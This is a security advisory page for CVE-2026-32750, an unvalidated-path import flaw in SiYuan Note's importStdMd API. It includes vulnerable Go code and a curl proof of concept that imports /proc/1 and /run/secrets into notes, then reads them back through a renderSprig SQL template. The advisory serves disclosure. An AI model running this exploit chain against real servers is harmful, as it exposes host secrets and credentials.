CVE-2026-32750

MEDIUM
2026-03-16 https://github.com/siyuan-note/siyuan GHSA-rjhh-m223-9qqv
6.8
CVSS 3.1
Share

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Analysis Generated
Mar 16, 2026 - 20:05 vuln.today
CVE Published
Mar 16, 2026 - 18:47 nvd
MEDIUM 6.8

Description

### Summary `POST /api/import/importStdMd` passes the `localPath` parameter directly to `model.ImportFromLocalPath` with **zero path validation**. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users. ### Details **File:** `kernel/api/import.go` - function `importStdMd` ```go func importStdMd(c *gin.Context) { notebook := arg["notebook"].(string) localPath := arg["localPath"].(string) // no validation whatsoever toPath := arg["toPath"].(string) err := model.ImportFromLocalPath(notebook, localPath, toPath) // ↑ calls filelock.Walk(localPath, ...) - reads entire directory tree // and writes every file's content into workspace SQLite as note blocks } ``` **`model.ImportFromLocalPath`** (`kernel/model/import.go:784`): ```go func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) { // ... filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error { // reads file content → converts to .sy note → stores in database }) } ``` Unlike `globalCopyFiles`, there is **no blocklist at all**. Any readable path is accepted. The imported content is **permanently stored** in the workspace SQLite database and survives restarts. **Chained attack with Bug #1 (renderSprig):** Admin imports sensitive files → content stored in `blocks` table → non-admin user queries via `querySQL` through `renderSprig`. ### PoC **Environment:** ```bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **Exploit:** ```bash TOKEN="YOUR_ADMIN_TOKEN" # Step 1: Create a notebook to import into NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \ -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])") # Step 2: Import /proc/1/ - stores cmdline, environ, maps as notes curl -s -X POST http://localhost:6806/api/import/importStdMd \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}" # Step 3: Import Docker secrets (if present) curl -s -X POST http://localhost:6806/api/import/importStdMd \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}" # Step 4: Any authenticated user (non-admin) queries the imported secrets curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}' ``` ### Impact An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike `globalCopyFiles`, there is no blocklist - `/proc/`, `/etc/`, `/run/secrets/`, `/home/` are all accepted. **Data persists** in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the `renderSprig` SQL injection (separate advisory), a non-admin user can then read all imported secrets without any additional privileges.

Analysis

SiYuan Note contains an unrestricted path traversal vulnerability in the POST /api/import/importStdMd endpoint that allows authenticated administrators to recursively import arbitrary files from the host filesystem into the workspace database without any validation or blocklisting. Affected versions of SiYuan (pkg:go/github.com_siyuan-note_siyuan) allow admin users to permanently store sensitive files such as /proc/, /etc/, /run/secrets/, and other system directories as searchable note content, making them accessible to other workspace users including those with limited privileges. …

Sign in for full analysis, threat intelligence, and remediation guidance.

Remediation

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Review file handling controls.

Sign in for detailed remediation steps.

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: +0.0
CVSS: +34
POC: 0

Share

CVE-2026-32750 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy